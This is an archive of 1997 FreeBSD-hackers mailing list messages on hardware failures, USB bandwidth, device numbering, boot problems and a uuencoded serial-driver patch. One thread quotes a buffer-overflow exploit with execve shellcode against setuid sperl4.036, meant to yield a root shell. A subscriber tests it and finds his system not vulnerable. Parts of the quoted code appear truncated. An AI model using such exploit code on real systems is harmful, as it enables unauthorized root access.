17:16:44 -0700 (PDT) Received: from thelab.hub.org (scrappy@LOCALHOST [127.0.0.1]) by thelab.hub.org (8.8.6/8.8.2) with SMTP id VAA24812; Tue, 5 Aug 1997 21:16:17 -0300 (ADT) Date: Tue, 5 Aug 1997 21:16:17 -0300 (ADT) From: The Hermit Hacker To: Frank Nobis cc: hackers@freebsd.org Subject: Re: System no longer finding sd(0,a)/kernel... In-Reply-To: <199708041913.VAA02172@gatekeeper.radio-do.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 4 Aug 1997, Frank Nobis wrote: > > > > Hi... > > > > I have a friend going to the office with a new motherboard/CPU as > > well as a brand new hard drive to replace the root drive...so more then > > anything, I'm wondering what the chances are that I'll be able to recover > > anything off that other drive...like, what are the chances that the problem > > was merely an 'fsck' that removed /kernel, but left the other file systems > > in tack :( > > > Have you or your extended eye/hand tried ? to look whats in the / > directory? Maybe a kernel.old or kernel.GENERIC is available to boot. It looks like the motherboard was fried...I had a friend pop in on Monday, to replace the motherboard and root drive, and when he powered up, it came up farther then before :( Oh well...it forced me to upgrade to a P166 with 128meg of RAM :) Marc G. Fournier Systems Administrator @ hub.org primary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org From owner-freebsd-hackers Tue Aug 5 17:25:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA15044 for hackers-outgoing; Tue, 5 Aug 1997 17:25:55 -0700 (PDT) Received: from shell.uniserve.com (tom@shell.uniserve.com [204.244.210.252]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA15033 for ; Tue, 5 Aug 1997 17:25:52 -0700 (PDT) Received: from localhost (tom@localhost) by shell.uniserve.com (8.8.5/8.8.5) with SMTP id RAA12603; Tue, 5 Aug 1997 17:22:48 -0700 (PDT) X-Authentication-Warning: shell.uniserve.com: tom owned process doing -bs Date: Tue, 5 Aug 1997 17:22:48 -0700 (PDT) From: Tom To: Alex cc: hackers@FreeBSD.ORG Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 5 Aug 1997, Alex wrote: > That and don't most motherboards have two USB busses so you could put the > network adaptors on one, and perhaps a cdrom, then the hdds on the other > bus and still get decent performance. Hardrives? You've got to be kidding... and get worse than IDE performance? Remember, plain old SCSI-II is 10MB/s, which is works out to 80mbs! USB is only 12mbs. I see USB as a user input (mouse and keyboard) bus only. > - alex > > Tom From owner-freebsd-hackers Tue Aug 5 17:30:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA15274 for hackers-outgoing; Tue, 5 Aug 1997 17:30:13 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA15266 for ; Tue, 5 Aug 1997 17:30:07 -0700 (PDT) Received: from awfulhak.org (dev.lan.awfulhak.org [10.0.1.5]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id AAA04769; Wed, 6 Aug 1997 00:02:18 +0100 (BST) Received: from dev.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.6/8.8.6) with ESMTP id AAA29396; Wed, 6 Aug 1997 00:02:17 +0100 (BST) Message-Id: <199708052302.AAA29396@awfulhak.org> X-Mailer: exmh version 2.0zeta 7/24/97 To: "Brian J. McGovern" cc: hackers@FreeBSD.ORG Subject: Re: Suggestions for extending minor numbers... In-reply-to: Your message of "Mon, 04 Aug 1997 15:42:22 EDT." <199708041942.PAA02933@spoon.beta.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 06 Aug 1997 00:02:17 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Well, I've got my driver working for the 8 port Cyclades cards. Now its > time to work on the 64 port cards. > > As you can see, if I have a call in, call out, call in initial state, call > out initial state, call in lock state, and call out lock state, I'm > going to need 384 minor numbers, which is already over the 8-bit limit > on minor numbers. If I choose to support multiple boards, I could use > between 768, and 1536 minor numbers, possibly more in machines with more than > 4 PCI slots. With the % of CPU per board the driver is taking, 3 of these > 64 port boards should be possible.... > > Anyhow, I've considered dropping initial and lock state devices, and use > a different major number for each of the boards. I'm curious to see if this > is a "reasonable thing to do" (tm), or whether this is a better way to go > that I haven't yet figured out. > > Suggestions anyone? Is there an 8-bit limit ? dev:/dev $ l /dev/rsd0s1 crw-r----- 1 root operator 13, 0x00020002 Sep 3 1996 /dev/rsd0s1 Looks like 32 bits to me :-) > -Brian -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Tue Aug 5 17:31:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA15354 for hackers-outgoing; Tue, 5 Aug 1997 17:31:53 -0700 (PDT) Received: from nico.telstra.net (nico.telstra.net [139.130.204.16]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA15349 for ; Tue, 5 Aug 1997 17:31:49 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by nico.telstra.net (8.6.10/8.6.10) with ESMTP id KAA19506; Wed, 6 Aug 1997 10:32:02 +1000 From: Greg Lehey Received: (grog@localhost) by freebie.lemis.com (8.8.7/8.6.12) id KAA00549; Wed, 6 Aug 1997 10:01:08 +0930 (CST) Message-Id: <199708060031.KAA00549@freebie.lemis.com> Subject: Re: Security hole script. In-Reply-To: from "Lenzi, Sergio" at "Aug 4, 97 10:12:18 am" To: lenzi@bsi.com.br (Lenzi, Sergio) Date: Wed, 6 Aug 1997 10:01:08 +0930 (CST) Cc: hackers@FreeBSD.ORG Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 X-MIME-Autoconverted: from 8bit to base64 by freebie.lemis.com id KAA00549 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by hub.freebsd.org id RAA15350 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Lenzi, Sergio writes: > > > Hello all. > > Here is the "script" that opens a hole in our FreeBSD 2.2.2... > > from a friend of mine (lgarcia@netlan.com.br) > ---------------------------cut------------------------------- > #include > #include > #include > > #define BUFFER_SIZE 1400 > #define OFFSET 600 > > char *get_esp(void) { > asm("movl %esp,%eax"); > } > char buf[BUFFER_SIZE]; > > main(int argc, char *argv[]) > { > int i; > char execshell[] = > "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" > "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" > "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" > "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; > > for(i=0+1;i *(char **)&buf[i] = get_esp() - OFFSET; > > memset(buf,0x90,768+1); > memcpy(&buf[768+1],execshell,strlen(execshell)); > > buf[BUFFER_SIZE-1]=0; > > execl("/usr/bin/sperl4.036", "/usr/bin/sperl4.036", buf, NULL); > } > > ---------------------------------------------------------cut--------- > > install this script, do a make and run it. > > should return a root shell. === grog@freebie (/dev/ttyp1) ~/src 2 -> make crackopen gcc -g -Wall crackopen.c -lm -o crackopen crackopen.c: In function `get_esp': crackopen.c:10: warning: control reaches end of non-void function crackopen.c: At top level: crackopen.c:14: warning: return-type defaults to `int' crackopen.c: In function `main': crackopen.c:25: warning: implicit declaration of function `memset' crackopen.c:31: warning: control reaches end of non-void function === grog@freebie (/dev/ttyp1) ~/src 3 -> crackopen Can't open perl script "ë#^^ 1ÒVVVV1À°;N ÊRQSPëèØÿÿÿ/bin/sh4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï4οï": File name too long Segmentation fault === grog@freebie (/dev/ttyp1) ~/src 4 -> I presume this means that mine isn't vulnerable. Greg From owner-freebsd-hackers Tue Aug 5 17:31:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA15372 for hackers-outgoing; Tue, 5 Aug 1997 17:31:58 -0700 (PDT) Received: from zippy.dyn.ml.org (garbanzo@nepal-18.ppp.hooked.net [206.80.8.210]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA15362 for ; Tue, 5 Aug 1997 17:31:54 -0700 (PDT) Received: from localhost (garbanzo@localhost) by zippy.dyn.ml.org (8.8.6/8.8.5) with SMTP id AAA01677; Wed, 6 Aug 1997 00:31:48 GMT X-Authentication-Warning: zippy.dyn.ml.org: garbanzo owned process doing -bs Date: Wed, 6 Aug 1997 00:31:47 +0000 (GMT) From: Alex X-Sender: garbanzo@zippy.dyn.ml.org To: Tom cc: hackers@FreeBSD.ORG Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 5 Aug 1997, Tom wrote: > Hardrives? You've got to be kidding... and get worse than IDE > performance? > > Remember, plain old SCSI-II is 10MB/s, which is works out to 80mbs! USB > is only 12mbs. > > I see USB as a user input (mouse and keyboard) bus only. I have two fast scsi-2 harddrives (one at 10 and the other at 20mhz), and while they're not the greatest (Fireball and Lightning by Quantum hehe), I'm pushed to get more than 5mb/s (and I've enabled sync and wide negotiation) when copying from one to another. Although I do agree with you, and would prefer to use a dedicated scsi bus, I think that USB could be more useful than for both mice and keyboards. If I wanted something I could chain mice and keyboards onto I'd use a PS/2 port. I think USB could also find use for such hardware like sound devices, faxmodems, and scanners (they are rarely used ya kno?). Regardless I don't have the $$ to care about switching to USB anyways. - alex From owner-freebsd-hackers Tue Aug 5 18:24:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA17787 for hackers-outgoing; Tue, 5 Aug 1997 18:24:40 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA17782 for ; Tue, 5 Aug 1997 18:24:36 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id VAA32111; Tue, 5 Aug 1997 21:30:06 -0400 Date: Tue, 5 Aug 1997 21:30:05 -0400 (EDT) From: Ben Black To: hackers@freebsd.org Subject: BootEasy, barracudas, and psm0 problems Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk i am currently having 2 problems. the first i am certain can be solved inside freebsd, the second may be hardware. 1) whenever i install booteasy on a seagate barracuda it gives me the normal F1.......BSD stuff, but pressing F1 just gives me the prompt again. if i use the boot floppy to boot sd(0,a)kernel then the system boots from sd0 as expected. any ideas? booteasy works fine on this machine using a fujitsu drive. 2) psm0 is correctly probed at boot but cat /dev/psm0 gives the error Resource Temporarily Unavailable. obviously nothing that wants to use the mouse can find it. thanks, ben From owner-freebsd-hackers Tue Aug 5 18:27:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA17883 for hackers-outgoing; Tue, 5 Aug 1997 18:27:49 -0700 (PDT) Received: from tokyonet-entrance.astec.co.jp (tokyonet-entrance.astec.co.jp [202.239.16.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA17878 for ; Tue, 5 Aug 1997 18:27:44 -0700 (PDT) Received: from amont.astec.co.jp (amont.astec.co.jp [172.20.10.1]) by tokyonet-entrance.astec.co.jp (8.6.12+2.5Wb7/3.4Wbeta5-astecMX2.3) with ESMTP id KAA19449 for ; Wed, 6 Aug 1997 10:27:42 +0900 Received: from stone.astec.co.jp (stone.astec.co.jp [172.20.10.23]) by amont.astec.co.jp (8.7.6/3.5Wbeta-astecMX2.4) with ESMTP id KAA25908 for ; Wed, 6 Aug 1997 10:27:41 +0900 (JST) Received: (from junichi@localhost) by stone.astec.co.jp (8.8.5/3.5W-solaris1-1.2) id KAA11365; Wed, 6 Aug 1997 10:27:39 +0900 (JST) Message-Id: <199708060127.KAA11365@stone.astec.co.jp> To: freebsd-hackers@freebsd.org Subject: High speed serial driver Date: Wed, 06 Aug 1997 10:27:37 +0900 From: Satoh Junichi Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have made a patch for -current serial driver to support high speed serial board, "RSA-DV II/S" manufactured by I-O DATA DEVICE,INC. The board has 2048byte FIFO. Max baud rate is 921kbps. << How to apply the patch >> cd /usr/src/sys/i386 patch -p < rsa.patch << How to enable the "RSA-DV II/S" board >> Configure the kernel and reboot. How to configure the kernel configuration file is the same with general serial ports except that you need to append option, "COM_RSA". Example of configuration: device sio2 at isa? port 0x2c0 tty irq 15 vector siointr options COM_RSA # I-O DATA RSA-DV II/S The board will be probed like this: sio2 at 0x2c0-0x2cf irq 15 on isa sio2: type I-O DATA RSA-DV II/S #A patch for 2.2.2-RELEASE that has been well tested by many users #in Japan is also available. If you want to get it, visit this site: # --- Junichi ================================================================= begin 664 rsa.patch.gz M'XL(",H\Y3, W)S82YP871C: #,/&U[VS:2G]5? >=V4\FF;9*2*,EJTI5E M*>'6MGRBE)?K]='2(F2QD4B5I!P[3>ZWWPP DN"+Y*2]O5T_J4T",X/!S&!> M +".NUB0XX <7Y/C.7%#^V0T?G7JSD\#>%QB0_+RW>'A80&B,EENR=]MCQ"- MJ)TS585_1.NTU.^.CX\SZ)5AX)+>]@XA]?J9IIUI!D!V6DA7_F'CJ(0](A%- M::@$'HZ_.R*GA_B;')*^OWD,W+ME1*KS&B-#_K[UW/G2)98=^4ORPZ_\]6]V M&-'YR=P_^77S\H0C]U8KPI!#$M"0!O?4X3V\>TP=-XP"]W8;N;Y';,\AVY 2 MUR.AOPWFE+7=> A6MH1_*) :;7R/[K>'9G[GN,B4LCI(.::1F?\33O),1@2 M?Q%S-O<=@-V&$4PLLH%CI&S?^O?8)23&R<"/YT?NG"H XX9D!1214#HXFV:6 M,QAVOK+=-0V$)/4B,S"H))N8&9BOLP4&_UG\$#[7A);CS[=KZD5VK,)3T(X/ M$ %9VQ$-7'L5IDI@ZD/2\E3$%.LGY)JZ#!,A/'M-D2\VD2UH.P"^TZY0\,RI M^$&8<+2V'\DM14N"6?B$>@[T4C0:8&/M1Y1P&8%1.L ?V"190 >71N@OHH]@ M!PDU86@DW- Y&AD@NVA_ 9J7QPTM#)-9<+S):],BUF@X>=L;#P@\WXQ';\R+ MP04Y?P^= ]*;3EZ/QJ1W?4'ZH^O)V#R?3D9CB_SC'ST+X+__'KO$&KI^3P;O M;L8#RR* 8E[=7)I ""B/>]<3#2Y."# "@Y/!F\'UA%BO>Y>7\F3A7V:NYP/@LG=^*8BQ MH6"N%^9XT)_@I-*G/L@.&+Q4B'4SZ)OX,'@W@-GTQN\50=@:_.<4@*"3T[OH M7?5>P0RK3T@'5-.?C@=7R#-(PYJ>6Q-S,IT,R*O1Z,+BQ& (:S!^8_8'5I=< MCBPFN*DU4&"828^Q '1 :M -S^=3RV3R,Z\G@_%X>C,Q1]F#(6\?3V ]C&*EDFOAQ*Q0(K]":]]V*F4R8&U!OPQQ\E8U:8 M=HDY)+V+-R9.0 "#55BFL*#1D-.RIOW70@_RZF _?S&=,_(7UG *OUG($5'! MZAU?O"&F>6J!/[L#1T'%ZD; _W#HPO4H@5 W6X=!I:)63@_)%;ICBZ[H/ (_ MR7%(=7SZME;$@ 6;#<1&7CV[8H^B1H&@*HCJ@4.;QL"@NW(6"4X MBP1G: Y' !Q2F<>R82+W'F961YP)\[F,T7M[1=[8JRU.].E91G,8MI&2Z*.K M]%>%D9WRO"1-2HH9"4LR(/B3(;TENDZT]EG=.&MH/,E(TI%OST6T1D?1F@TI M(V$-39Z4D'A^%7,TZUE]R_RO0:59P2GVUJXUA]SHE:EUU,;QK8V^?XEA+(1F M#V8+,\W@]U_U&+YF, +PRH,)1#RPMB+XZ(J!MQET6V^J"M&,AZ8*6.L\9JH( MP 1KCI'%6.;QB'D-$EMZED1A[(NK#*MMO=XBT+:7WXN;5PRGKC.<5N/2,C2= MH6WL.YJNJP+FP+3X<'J3CX<-^;'*C0:BX E[XT\9HV$M%6OK0?:X(KK*K$$% M@\@:C0 #VV)&HQ/,!2QC.6-0E6/2 >T(C0EGS\!S#LO:;C9^$(&V MLWI%#Y9ZO*_(FH63 WVXWGRU!9?V0_@8GF[LP%Z?+%\6.N"_J+0CH+>^'V%/ MF<1:=:753B76:BMM(UEB[@)L 4+-U6Q@W60(N_6V<2H*#1INQ+B07KD+-/D4 M$:;/&LH0686"$Q6(NP;P0LUH-E4^B SU;!XX)\MGY?ZCTU1T5:IH=+6NZ&!C MNR97 3&M9E$%IM-EQ@X9($L#03D1L4'KCV ZT$MN?3"+'X5V=LY9T"/H@;M$ M^BF2-D?'S%@ 42(NR:6RGTBBVL?JI3%RKZ#[#^"BBBD M:!\191;N!PZ:;>#./W!>8RH+=^'/W#6L?48$:P),H.]9/(F36C:/5@*V=$(&3*@E3ZC5 M4?2.'D^H FO]!NJEXXT/19/K;:!PN-TN%N X(#N>0.G"M$D6]CQ";2W PXG: M,70_@:FYH: "JK"Q^&*BAL@&>0H\W#X*/5-[OHSI0]L)QSHME9*P@$.HDQ9: M-]^B=[DS2QK] I@?@T'+"B96Z0]FYO7-=#(;#8?68,+EO@JI%$ER()7*V)I! MXC_$T"*9)>/I9YUE?4G_+]T%JBG+:NGTU+J:EU2C[PF?#YXT\@, MZ/,!66ML3[A^A41C!\VD?#%X,[00]]YWGP<0K'D1.)$Q>D&O+'.'(9<; M\8AP4^BETC5S1%+"4)Q#@8Q%+W4@"&**$C___ N,\3O.['>B*I!_DR\*?VOB M*XQU/KZH-M4:MI=.LJTIX.FED*VVE48CU=+OY%@#2L<:^0*O7_;/91^K,YB@ M8/8'U>11(79E>Z$A M[:WG>^MRKY'O->1>K4!:R]#6VH7^MMP/7CS/6D/N;Q3P&QG\3H&]3I:_#F-0 M'K^3G7R[D0-@+2E LV7D %B+K+9F80S6)&NGGB?"FV1!->IZ#H0U2;*JJWE> M>9.LRE:>%]XD2=10VSD0WB0)5=?R[/*F%"1=2$>XD';XLR-2%HP!YMV[=YCZ M+]R[;4!Y^K()_ T-5H\GW!&*12ABZ,K]0%>/,UB"+(B&?/$1]:&^:"OP1^=_ MZI2_X9\OY9ZPV6@JF%\D3L)0=<70U,1)?"$8<;@CJN" MN,$57@X?HD95@T= MX?3RDKG@RBUF+=BIL#@+Y\SWZW]XSA3@;H!K:2^<$DA+&*$/[4BZ$ M5@N*&5T20KVE&(VD'HY#5F4]#T1RAZT8#RH!#;D>F"O FH[CS.729G+__2PE']#JX/.I%+#:!F*D4F76#QV M@1O0%^,)7I/90-M5?SPS!]>X35BN+> 5P(:]2XL!5 3OT(940=C.+,[UCO@, M7.^V&D,=Q=LZ-?(<#5.M\5@AR$[&4TZUXF^C/)9+ [#BVL[^1;"_G^WR[(>8 MI_U?GDQ&L.UJ>CDQ;T;C2:PN;#2MI+D*,JG%6A-BAWP-9!3:\%85-H*Q$Y() MA3P',^:U<'DL-^J@X7I'*B;5E@*.+-%P1IEJ5Q@27X\+VUV!7PF311DW[%B8 M.!^F%ZZ8&A,;5RZW'DG;(,$VDQO+2_< RLGK?AAI(8"]\S3]+26.[WT?D8^V M%V'2?D>AN)M'6WO%=AG8[B),\%<\G%G;X0?J$' %X4FI-%N-CM)J-E-IMNNJ MTDXS(QR4LIU*6'U14*WM2HW*1<5= LPNLRV5E9(,(P$D$MK9'[M%K$ZJ"X]I MF\#?'_+*[9*CHX57XQ8(;,;M/R^\7V++Y(LAT22Z]W6\%LH$UVYH(*=6*KB. MWE$ZC=31,)>([C:V0#=DGMB9!>X,B^F0?'Y!QN9LV+,F?\3Z$GI/FE\.LMS^ M2H&2C0'<09!@XGEA&(3V-1:.\ZH4Z.((AG^O1V][YH1''9P2P^&QLE8N6P-L MT)",LM-L*IV67%15".&!A1^DA<@IU+^W=(%[%1\I.UAE4>-$\OK?%)2Y5^;U M)PD_P30SRB _0O+<:),S H4;]Z=I )=D\@G6K%$JCB-ACC):+!;L \N/MH%' MJK&_3@!UH"]A'1$9)>!OS9?O7[;FPS&*0*J+/Q9_>5D-5OBX9"LR3R4 M5@:E=_DJ@Q*TTTYVLO]?Q)-;=@)*I50)=;TK>N/R@%@3S3"::N^9J!O2@N9@)QE4 M#&[0HD2J: *UKH!.R+)=68DH^_.E6-ZQTS6UI2F:VNZDV=K_"?M%,ZI4"I:4 M3)2/**7M^="7 TO2>QH< M"TE0Z40QRO"P)%(@J7)F=21#"B-F1G:2^*5=,KW:'N/4C!U+L]4 !ZK*2S.1 M\,KW/]BX6<$O)/W58;OH(3O]>*8(:#RW*7+2%5HX)GQG(9$@4P\7M:8V0=3Q M9D498HVM?QNQS][LR/]W*'G!1)LX3$2;;F+=$;BP"&:!QW3/R>OI3?^2]?&SP'))-9JH M?T-++%;L[O"#J9!=.)$/*@Y='P*ZW!+0^?W,L2,[KG(^+MT5)=78X2('*]>C M@A@Z6T],56IF6W?,^8B]'7'01.^I%_T(8EO2^0>R<(.05;Q+NMH0&T\YB'^/ M!:\7UD2&'X\OC_F<7%KCV;C_9G;5LWY*UCV,PI;2Z=;S["BR81 G/O1RHQ!O M[T'WBK/"CDJ9*37;'44SU$9^1^P/R6S/X1E]B&:P/%+!J84]@3\IZY*@66ZC M+"84^$F(%W>VNFF ^G?69^F::&JP)IKR%B(&1P6#1J+RD$9X:S.*'OF&B#17 M++M!WY#X@8B>T'0"7);"(KXTZTS1GB!^#8[$FIR3'QVEABFB(&M M>7H[?EQ;S6U%&@NAQW# /74*LM)P9X?CL>]$?C M"UZ@P^OH#=YDO)8S2[P5=+9#F'L<[#=:;U9LIR*80V7Y#+=L6\-G[&J%+VP6 MS]+OYO-C[:2ADCOJ4;SGX]T1FX0K_V."^^MVO8FO_5+ WL17C2$UV/!E$- = M(C0@?#4SH;NE02+=TE,WQ,03+S<(*+C>?MO2+2P"O$T$2R]XC);(%]L6^3$Y MNR\$J6I&BFR?&_5>7(*3=^.+]S7R^3-#1?,HR!\1#ZHYZ3\G6JU62Y"R-O7R M!:F"59U/K??D,]K79/)JQ)]&%X,W$(5A3+YGGJX'9'L'?TD0_!/#I+8@EDA: MI?TF*K=NFDP64\:7,.'838%_QZU!?^YOO1UW/K1VHZUH;?E:HJZJ>-%(RRR9 M?$4=UTRRFR@6W=^^>'(5,Z.YJ^X^2AC8AYO;"9((FG M/"[D(\$>_')4*2 D#,J8AX!Z="0'!FD(.1:0*JZRP 4&UTTXW,MB&>9@>)R9[@.PM>HC<-06_%B>:X.4<\)EN&/F!.X>X#J$! M?%S(/B<1AWR8%D,Z/W/9]0RV:\7KNDPK86\^>Y.H\R0EH.!$0_99#]Z)I.D- MUHKCWKNACZ841?']CZI$2Y$OAJ3;WS':#T0%UTGBUY?P"BY*YNP@PQKG/-X3 M'IC7;WJ7-8E?B3_<_![]I B1L&^0UAAA,-K@[KLXGHT_NA$[Z9CA)EO]X -G MD]%L>FU.1&F!YWA=A.![_DFEF!XI)V<)?)FE]]W0,*%P2_*EC!RX5M@*T^IX M>=+0LHQ+I"A-,R8':O]1^CIZ4]-$N2>\Z*BIWW]]DI7A]J98]1?I6 M*Y> 5N'C!JHDHL\B+QFJDP MY7VX@_(#6+XEHS[<+N*-R2(,)ED*R^8+S9"9 G);33;02.X.3RDOS!'5(;O6 MZPTM?VWDSVCBJY>MN _"K'1WI;(. _D:1SF$PFV=W331&OEK'7_6.+YB X%5 M#[7L?C7JFZOSVVSK:>/:8UU?95X[[4MT8];SE*D=\%*U5#K9 Q?\I@OO;FPC M?\WNR"[P]K7X[@6_,&:.)K7[_2K^3-KY?9>OM/A27]3HX+UY59/R7Z.CXU5T M-;_SY=+,]A:*57Y?X^N>^ SS8!0DJ_PBG+6X.\R<^BPB$)OGWAWEL83,9C?5 M*K\^II#\E=S#VHY[&WK3 "?;--KRC7H#)]8J3,Q9W2Z[V?=5V8W^W1\*2'?# MBMMWR94>R[ZG>/=>#C&Q&:2?3=&'.=V([\G!Y)*>'=-L0;'2;#7E:;9PFNVF M_.G 6QC)QMM$(?)0H TB]X 9%Z_RL7V#8]];9:Y4)$&0*6>?1.*+<,GBV7T/ M+CZ72V_1Q>,Z- M?US2<>"'[)*&3+*XU0/2X?>GA-B8M*('O+10W6FI;;34=B?S[4<=/S_V?M8A M#E39Q"$!*PH=8Q)+<##8[,X>061 V=ZN(OR*Z \EH'M(?$4.^C1V; ^XY/%R MGJ""ECH<)ED56@N#@/P3__+$LV@?V*=PB%U?^>#VCJ%)GRCH;1V6:UNZ>AO[ M.#0=%@4KAR$[ /K]#_FDW?YH3+$HHGO=D>P#MEZA#2)JIWIS3.M6?A.ED,6/Y5M[_Y4MMY2 M&M(>&K[*=TO!7X+-WT)\N;6W#F$?%?[O8'E- ]@:2H5N0,O,4TA)3@2/5.DH ME!840 X% 0F!H@1U1S%T.U"%)B=TGX2!@KZ"AJ&9%E (/.H,VRJ-M(D!K-C$ JW,34#$TUS)7PE;4*D-6PB!H2=3>S:U"\:Q!HV)D3F*JX 'U9G#2"1P end ================================================================= From owner-freebsd-hackers Tue Aug 5 18:29:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA17954 for hackers-outgoing; Tue, 5 Aug 1997 18:29:15 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA17949; Tue, 5 Aug 1997 18:29:09 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wvuu7-0005Ap-00; Tue, 5 Aug 1997 18:28:47 -0700 Date: Tue, 5 Aug 1997 18:28:46 -0700 (PDT) From: Tom Samplonius To: "Michael L. VanLoon -- HeadCandy.com" cc: Tom , Atipa , sthaug@nethelp.no, hackers@freebsd.org, freebsd-current@freebsd.org Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: <199708052328.QAA07056@MindBender.serv.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 5 Aug 1997, Michael L. VanLoon -- HeadCandy.com wrote: > > >> cameras, network cards, cd-roms, DATs, ZIP/Jaz/SyQuest, scanners, > >> printers, etc. > > > Ugh... network cards can pull 10mbs easily, cdroms can do 8mbs and > >higher, Jaz drives can do 16mbs easily, and you are going to put all of > >this stuff on a shared 12mbs bus? Ugh... > > It's pretty unlikely you'll be saturating all those devices at the > _same_ time. And nobody is going to _force_ you to buy USB Just copy files from the CD-ROM or Jaz to the ethernet, or from the ethernet to the Jaz and you will _easily_ max USB. It is quite likely that someone will do this kind of stuff. > ----------------------------------------------------------------------------- > Michael L. VanLoon michaelv@MindBender.serv.net > --< Free your mind and your machine -- NetBSD free un*x >-- > NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, > Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... > NetBSD ports in progress: PICA, others... > ----------------------------------------------------------------------------- > > Tom From owner-freebsd-hackers Tue Aug 5 18:34:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA18290 for hackers-outgoing; Tue, 5 Aug 1997 18:34:12 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA18284 for ; Tue, 5 Aug 1997 18:34:08 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id LAA01644; Wed, 6 Aug 1997 11:03:13 +0930 (CST) From: Michael Smith Message-Id: <199708060133.LAA01644@genesis.atrad.adelaide.edu.au> Subject: Re: Registry reviewers? In-Reply-To: <199708051624.JAA06304@phaeton.artisoft.com> from Terry Lambert at "Aug 5, 97 09:24:42 am" To: terry@lambert.org (Terry Lambert) Date: Wed, 6 Aug 1997 11:03:13 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, 